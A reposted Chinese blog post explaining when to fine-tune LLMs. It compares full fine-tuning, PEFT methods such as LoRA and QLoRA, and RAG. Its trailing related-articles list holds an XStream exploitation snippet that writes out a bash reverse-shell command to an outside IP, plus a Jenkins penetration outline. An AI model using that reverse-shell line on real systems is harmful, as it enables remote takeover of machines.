欢迎来到啾啾的博客🐱。
记录学习点滴。分享工作思考和实用技巧,偶尔也分享一些杂谈💬。
有很多很多不足的地方,欢迎评论交流,感谢您的阅读和评论😄。

目录

  • 1 什么时候我们需要微调呢?
    • 1.1 微调的种类
    • 1.2 基本概念
      • 1.2.1 全量微调(Full Fine-tuning)
        • 1.2.1.1 应用场景
      • 1.2.2 参数高效微调(PEFT, Parameter-Efficient Fine-Tuning)
        • 1.2.2.1 应用场景
      • 1.2.3 全量微调 vs LoRA 对比总结
  • 2 RAG VS 微调

1 什么时候我们需要微调呢?

需要微调的情况:

  • Your domain is extremely different from what a LLM was pretrained on, and extensive prompting didn’t produce the results you want.
    你的领域与 LLM 预训练的内容极其不同,并且广泛的提示没有产生你想要的结果。
  • Your model needs to work well in a low-resource language.
    您的模型需要在低资源语言环境中表现良好。
  • Your model needs to be trained on sensitive data that have strict regulatory requirements.
    您的模型需要在严格监管要求的数据上进行训练。
  • You’re using a small model due to cost, privacy, infrastructure, or other constraints.
    由于成本、隐私、基础设施或其他限制,你正在使用一个小模型。

1.1 微调的种类

![[微调,加油.png]]

看设备情况,对于我的8G显存GPU,全参数微调最大支持1B~1.3B。
而参数高效微调(PEFT),可以支持7B参数模型微调。

1.2 基本概念

1.2.1 全量微调(Full Fine-tuning)

更新模型所有参数。

1.2.1.1 应用场景
  1. 任务与预训练差距极大(Domain Shift 大)

🔍 场景:从通用语言 → 高度专业化领域

  • 例子
    • 医疗诊断报告生成
    • 法律条文推理
    • 数学证明生成
    • 代码生成(尤其是新语言)
  • 原因:这些任务涉及大量新词汇、结构和逻辑模式,仅靠低秩更新难以改变模型底层表示能力。

📌 结论:当任务“超出”模型原有知识边界时,需要深度重塑参数。

  1. 需要彻底改变模型行为或风格(如写作风格迁移)

🔍 你的任务是“将文章润色成自己的风格”——这其实是一个灰色地带。

  • 如果你的“个人风格”只是 轻微调整语气、句式(如更正式/简洁),✅ LoRA 足够。
  • 但如果你的风格非常独特(如:鲁迅式冷峻、王小波式荒诞、张爱玲式细腻),且训练数据足够多(>2000 对),那么:
    • 全量微调能更好地重塑语言模式
    • ❌ LoRA 可能“学不像”,因为它只在原有风格上“微调”

🧠 类比:LoRA 像给演员加个面具;全量微调是重新训练一个演员。

  1. 长序列建模或上下文扩展(Extended Context)
  • 模型原生支持 4K tokens,你想扩展到 32K 或 128K
  • 需要重训 RoPE(旋转位置编码)或修改位置嵌入
  • 这种结构性改动通常需要全量微调才能稳定收敛

⚠️ LoRA 无法有效学习位置编码的全局变化

  1. 多任务联合训练(Multi-task Learning)
  • 同时训练:摘要 + 翻译 + 风格迁移 + 问答
  • 不同任务影响模型不同层
  • 全量微调能让各层协同优化
  • LoRA 容易出现“任务干扰”或“容量不足”
  1. 模型压缩后的再训练(Post-Quantization Fine-tuning)
  • 你先做了 4-bit 量化(如 GPTQ),然后发现性能下降
  • 需要通过全量微调“恢复”部分性能(称为 PTQ + FT
  • 此时 LoRA 效果有限,因为量化已破坏原始参数结构
  1. 作为最终性能冲刺手段(SOTA 追求)
  • 在学术或竞赛场景中,追求最高指标
  • 实验表明:在足够数据下,全量微调 > LoRA > Prompting
  • 当你已经用 LoRA 验证了可行性,下一步就是“全量微调冲榜”

1.2.2 参数高效微调(PEFT, Parameter-Efficient Fine-Tuning)

PEFT(Parameter-Efficient Fine-Tuning) 是一类只更新少量参数、冻结主干模型的微调方法,典型代表:

  • LoRA(Low-Rank Adaptation)
  • QLoRA(4-bit 量化 + LoRA)
  • Adapter(插入小型神经模块)
  • IA³(缩放注意力权重)
  • BitFit(仅微调偏置项)

官网资料:PEFT

  • LoRA(Low-Rank Adaptation)
    在原始权重旁添加“低秩矩阵”来近似更新,不修改原模型,只训练新增的小矩阵(如 4GB → 仅训练 100MB)。训练后可合并回原模型,无推理延迟。

  • QLoRA(Quantized LoRA)
    在 LoRA 基础上 + 4-bit 量化,将模型权重从 16-bit 压缩到 4-bit(节省 75% 显存),仍能保持 95%+ 的性能。

  • 梯度检查点(Gradient Checkpointing)
    用时间换空间:不保存所有中间激活值,反向传播时重新计算。

  • Flash Attention-2
    加速注意力计算,降低显存占用。

1.2.2.1 应用场景
  1. 指令微调(Instruction Tuning)

让模型学会理解并执行指令,如:“请总结这篇文章”。

  • ✅ 适合 PEFT:模型已具备语言能力,只需“对齐”指令格式
  • 📌 典型数据格式:instruction + input → output
  • 💡 你的任务(风格润色)就属于此类!

✅ 推荐方法:LoRA / QLoRA

  1. 风格迁移与文本改写(Stylized Rewriting)

将原文重写为特定风格:文艺、正式、简洁、口语化等

  • ✅ 适合 PEFT:本质是“条件生成”,不改变语义结构
  • 📌 示例:
    • 输入:“今天天气不错。”
    • 输出(文艺风):“阳光洒落,微风轻拂,万物皆在低语。”
  • 💡 你的核心需求正是这一类!

✅ 推荐方法:QLoRA + 风格指令控制

  1. 领域适配(Domain Adaptation)

将通用模型适配到特定领域,如医疗、法律、金融、教育等

  • ✅ 适合 PEFT:如果领域术语不多、任务结构相似
  • 📌 示例:
    • 通用模型 → 医疗问答助手(使用少量医生问答对微调)
    • 通用模型 → 法律文书生成(使用判决书摘要对训练)

⚠️ 注意:若领域极专业(如病理报告生成),建议未来用全量微调
✅ 当前阶段:QLoRA 完全可用

  1. 对话系统定制(Chatbot Personalization)

构建个性化 AI 助手、客服机器人、虚拟角色

  • ✅ 适合 PEFT:只需调整语气、人设、回复风格
  • 📌 示例:
    • “请用温柔体贴的语气回答用户情感问题”
    • “扮演一个毒舌但专业的程序员导师”

✅ 推荐方法:LoRA + System Prompt 控制人设

  1. 信息抽取与结构化输出

从文本中提取实体、关系、事件,并输出 JSON/表格

  • ✅ 适合 PEFT:模型已有理解能力,只需“格式对齐”
  • 📌 示例:
    • 输入新闻:“苹果公司发布新款 iPhone”
    • 输出:{"company": "苹果", "product": "iPhone", "action": "发布"}

✅ 推荐方法:LoRA + 输出模板微调

  1. 多语言/中文增强

提升模型在中文或小语种上的表现

  • ✅ 适合 PEFT:中文能力可通过少量高质量语料增强
  • 📌 示例:
    • 使用中文写作语料微调 Qwen,提升润色能力
    • 用中英翻译对增强翻译能力

✅ 推荐方法:QLoRA + 高质量双语对

  • 常见PEFT方法对比
方法显存中文支持易用性推荐度
QLoRA(4-bit + LoRA)✅ 8GB 可行✅ 强⭐⭐⭐⭐☆⭐⭐⭐⭐⭐
LoRA(16-bit)❌ 7B 模型需 >16GB⭐⭐⭐⭐☆⭐⭐⭐☆☆
Adapter✅ 可行⚠️ 支持弱⭐⭐☆☆☆⭐⭐☆☆☆
IA³✅ 可行⚠️ 工具少⭐⭐☆☆☆⭐⭐☆☆☆

1.2.3 全量微调 vs LoRA 对比总结

维度全量微调LoRA/QLoRA
显存需求高(7B 需 24GB+)低(8GB 可行)
训练速度快(参数少)
性能上限略低(≈90~95%)
适合任务领域迁移大、风格重塑深轻量适配、设备受限
推理部署直接使用需加载增量权重
数据需求大(>5k 样本)小(500~1k 可行)

2 RAG VS 微调

在垂直领域,RAG VS 微调,效果都有哪些差异?

特性RAG (检索增强生成)微调 (Fine-Tuning)
核心目的提供知识 (Providing Knowledge)传授技能 (Teaching a Skill)
工作原理在回答问题前,先去一个外部知识库(如你的博客文章)里查找相关信息,然后把这些信息作为上下文交给LLM去总结回答。通过在你的个人数据上进行训练,改变模型自身的权重,让模型内在化地学习到你的风格、格式、语气或特定领域的语言模式
解决的问题“我希望AI能基于我最新的、事实准确的笔记来回答问题。”“我希望AI能像我一样思考和写作,用我的口吻来表达观点。”
知识更新极其容易。 你只需在向量数据库中添加、删除或修改一篇文档,AI的知识立刻就更新了。极其困难。 你需要重新准备数据集,并花费数小时(甚至更久)和GPU成本来重新训练模型。
可追溯性非常高。 你可以清晰地看到AI是引用了哪几篇原文来得出答案的,便于事实核查。几乎为零。 模型的回答来自于它内部复杂的权重,你无法知道它为什么会生成某个特定的句子。它是一个“黑盒”。
幻觉风险较低。 因为它的回答被严格限制在提供的上下文中,不容易编造事实。较高。 如果没有RAG配合,微调后的模型仍然可能产生幻觉,只是幻觉的内容可能会更像你的风格。
成本开发成本低, 但有持续的API调用成本向量数据库的运营成本开发成本高, 有一次性的、高昂的GPU训练成本。但推理成本可能(也可能不)比带长上下文的RAG低。

在生产系统中,我们可以让RAG和微调强强联合。

全量微调>高效参数微调>提示词

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95227.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95227.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/95227.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3、匹配一组字符

在本章里,你将学习如何与字符集合打交道。与可以匹配任意单个字符的.字符(参见第2章)不同,字符集合能匹配特定的字符和字符区间。3.1 匹配多个字符中的某一个第2章介绍的.​字符,可以匹配任意单个字符。当时在最后一个…

强化学习在量化交易中的禁区:回测表现好实盘亏钱的4个原因

引言 “为什么你的强化学习策略在回测中年化 50%,到了实盘却三个月亏光本金?” 如果你做过量化交易,尤其是尝试用强化学习(Reinforcement Learning, RL),这种场景可能并不陌生: 回测曲线平滑向上,最大回撤可控,胜率稳定 模型参数和架构调到极致,每次迭代都带来更高的…

代码随想录day62图论11

文章目录Floyd 算法精讲A * 算法精讲 &#xff08;A star算法&#xff09;Floyd 算法精讲 题目链接 文章讲解 #include <iostream> #include <vector> #include <algorithm> using namespace std;int main() {int n, m;cin >> n >> m; // 输入…

【18】OpenCV C++实战篇——【项目实战】OpenCV C++ 精准定位“十字刻度尺”中心坐标,过滤图片中的干扰,精准获取十字交点坐标

文章目录1 问题及分析2 多尺度霍夫直线 与 渐进概率霍夫线段 细节对比2.1 多尺度霍夫直线 HoughLines2.2 渐进概率霍夫线段 HoughLinesP2.3 HoughLines 和 HoughLinesP 所求结果细节对比2.4 为什么 HoughLinesP 直线两端没有呈放射状态呢&#xff1f;直线总是平行吗&#xff1f…

云原生应用的DevOps2(Jenkins渗透场景)

结论 Jenkins历史漏洞 Jenkins未授权访问 登录后命令执行 Jenkins代码仓库信息 Jenkins服务器建立多台服务器信任连接 背景 目前我看到红队人员的现状,不管是什么系统就是拿Shell,拿权限,然后把这台机器当作跳板继续横向其它机器。而Jenkins在内网中是经常能够遇到的,…

Gradle 配置教程:与 Maven 对比详解(含完整迁移指南)

一、基础对比&#xff1a;Gradle vs Maven1.1 核心特性对比维度MavenGradle配置语言XML (冗长)Groovy/Kotlin DSL (简洁灵活)构建速度较慢(全量构建)快2-10倍(增量构建缓存)多模块管理<modules> <parent>settings.gradle project()依赖管理<dependencies>d…

pcl 按比例去除点云的噪点

之前halcon3d中是这么做的&#xff1b;1&#xff0c;先查找点云中每个点最近第15个最近点的距离2&#xff0c;将距离进行排序3&#xff0c;求排序后在距离数组70%位置的距离 d4&#xff0c;筛选点云中每个点半径为d&#xff0c;近邻点的数量大于14的点用pcl实现的代码如下&…

站在Vue的角度,对比鸿蒙开发中的递归渲染

第三类 引用数据的操作 引用数据类型 又叫复杂数类型&#xff0c; 典型的代表是对象和数组&#xff0c;而数组和对象往往又嵌套到到一起 普通数组和对象的使用 vue中使用for循环遍历 <template><div>我是关于页面<div v-for"item in arr">{{ i…

VBS 流程控制

一. if else 和 selec case 1. if end if Dim a a2If a0 ThenMsgBox "这里是0"End if 2. if else end if Dim a a2If a0 ThenMsgBox "这里是0"Else MsgBox "这里是2" 弹窗“这里是2”End if 3. if -----elseif-------else-------end…

HCIP项目之OSPF综合实验

一、项目背景随着企业分支机构地理分散化&#xff0c;跨地域网络互联需求激增。MGRE&#xff08;多点 GRE&#xff09;技术因适应动态拓扑、降低链路成本&#xff0c;成为多分支互联的常用方案&#xff1b;OSPF 作为链路状态路由协议&#xff0c;适用于大型网络且支持可变长子网…

class and enmu class

传统枚举与作用域污染及enum class的详细介绍在编程中&#xff0c;枚举&#xff08;enum&#xff09;是一种常见的特性&#xff0c;用于定义一组命名的常量。传统枚举&#xff08;如C中的enum&#xff09;虽然简单易用&#xff0c;但容易导致作用域污染问题。而enum class&…

Numpy科学计算与数据分析:Numpy数组属性入门之形状、维度与大小

Numpy数组属性探索 学习目标 通过本课程的学习&#xff0c;学员将掌握Numpy数组的基本属性&#xff0c;如形状&#xff08;shape&#xff09;、维度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能够通过实际操作加深对这些属性的理解。 相…

IF 33.3+ 通过多区域单细胞测序解析肺腺癌的空间和细胞结构

通过多区域单细胞测序解析肺腺癌的空间和细胞结构摘要对于肺腺癌演进过程中单个细胞群的地理空间架构知之甚少。在此&#xff0c;我们对来自5例早期LUAD和14个来自肿瘤的具有明确空间邻近性的多区域正常肺组织的186&#xff0c;916个细胞进行了单细胞RNA测序。我们发现细胞谱系…

【Redis的安装与配置】

一&#xff1a;下载 Redis ✅ 百度网盘分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ✅ 从Github下载 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安装 Redis 1️⃣ 将下载的压缩包文件 解压到 某个文…

TDSQL GTS文件说明

基于时间点恢复&#xff1a;全备xlogGTS文件 在TDSQL的备份恢复体系中&#xff0c;GTS文件是全局时间戳&#xff08;Global Timestamp&#xff09;的存储载体&#xff0c;用于记录事务在分布式环境中的精确执行顺序和时间点 其核心作用体现在以下方面&#xff1a; 1‌。时间基准…

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析 全星研发项目管理APQP软件系统是专为汽车零部件行业打造的数字化研发管理平台&#xff0c;通过深度集成行业核心工具链&#xff0c;实现从产品设计到量产的全程可控。以下为该系统在汽车零部件行业的应用解析&#xf…

网络通信安全:HTTPS协议的密码学基石

引言&#xff1a;从HTTP到HTTPS的安全升级 在网络通信中&#xff0c;数据传输的安全性至关重要。早期的HTTP协议采用明文传输&#xff0c;存在三大安全隐患&#xff1a; 机密性问题&#xff1a;数据在传输过程中可能被窃听&#xff08;如公共Wi-Fi中的监听&#xff09;&#xf…

pip 和 conda,到底用哪个安装?

为什么 pip 有时装不下来而 --prefer-binary 可以&#xff1f;什么是源代码发行版&#xff1f;什么是轮子&#xff1f;conda 和 pip 有什么区别&#xff1f;优先用谁啊&#xff1f;两者适合的场景&#xff08;何时用哪个&#xff09;安装路径&#xff1a;pip / conda 分别装到哪…

bert学习

首先了解一下几种embedding。比如elmo就是一个embedding模型。one-hot编码只能实现one word one embedding&#xff0c;而我们的elmo能实现one token one embeddingElmo是基于双向LSTM&#xff0c;所以每个词其实会有正向和反向两个预测结果&#xff0c;那么我们用哪个呢&#…

Java安全-组件安全

一、Xstream启动环境并访问接下来我们构造反弹shell语句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;紧接着对其进行base64编码。接下来使用命令即可首先开启监听接下来执行命令接下来抓包对其进行payload构造即可紧接着回去查看回显发现成…